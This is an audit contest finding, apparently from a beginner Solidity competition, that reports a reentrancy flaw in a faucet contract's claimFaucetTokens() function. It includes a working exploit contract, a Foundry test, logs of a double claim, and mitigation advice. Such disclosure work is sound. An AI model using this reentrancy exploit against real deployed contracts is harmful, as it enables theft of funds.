Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy on `claimFaucetTokens()`

Root + Impact

Description

  • The claimFaucetTokens() function sends ETH to the first time users via a low-level call before state update lastClaimTime[faucetClaimer] = block.timestamp; dailyClaimCount

  • Druing the first claim, attackers can reenter claimFaucetTokens() and claim tokens again

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood: high

  • The function directly performs an external call before state changes

  • Reentrancy is trivially exploitable by a crafted fallback.

Impact: high

  • Attackers can bypass cooldown restrictions and claim faucet tokens twice

Proof of Concept

Add the following exploit contract and test, then run this command: forge test --match-test testReentrancy -vv

// exploit contract
contract ReentrantExploiter is Ownable {
RaiseBoxFaucet public faucet;
uint256 private _count;
constructor(RaiseBoxFaucet _faucet) Ownable(msg.sender) {
faucet = _faucet;
}
function exploit() external onlyOwner {
faucet.claimFaucetTokens();
}
receive() external payable {
if (_count < 1 && msg.sender == address(faucet)) {
_count++;
faucet.claimFaucetTokens();
}
}
}
// test
function testReentrancy() public {
vm.startPrank(user1);
ReentrantExploiter exploiter = new ReentrantExploiter(
raiseBoxFaucet
);
console.log("exploit contract eth balance before exploit:", address(exploiter).balance);
console.log("exploit contract token balance before exploit:", raiseBoxFaucet.getBalance(address(exploiter)));
exploiter.exploit();
vm.stopPrank();
console.log("exploit contract eth balance before exploit:", address(exploiter).balance);
console.log("exploit contract token balance before exploit:", raiseBoxFaucet.getBalance(address(exploiter)));
}

PoC Results:

forge test --match-test testReentrancy -vv
Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancy() (gas: 660035)
Logs:
exploit contract eth balance before exploit: 0
exploit contract token balance before exploit: 0
exploit contract eth balance before exploit: 5000000000000000
exploit contract token balance before exploit: 2000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.28ms (168.50µs CPU time)
Ran 1 test suite in 323.30ms (2.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

  • Use OpenZeppelin’s ReentrancyGuard and apply nonReentrant modifier to claimFaucetTokens()

  • Alternatively, move all state updates before the external call call

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.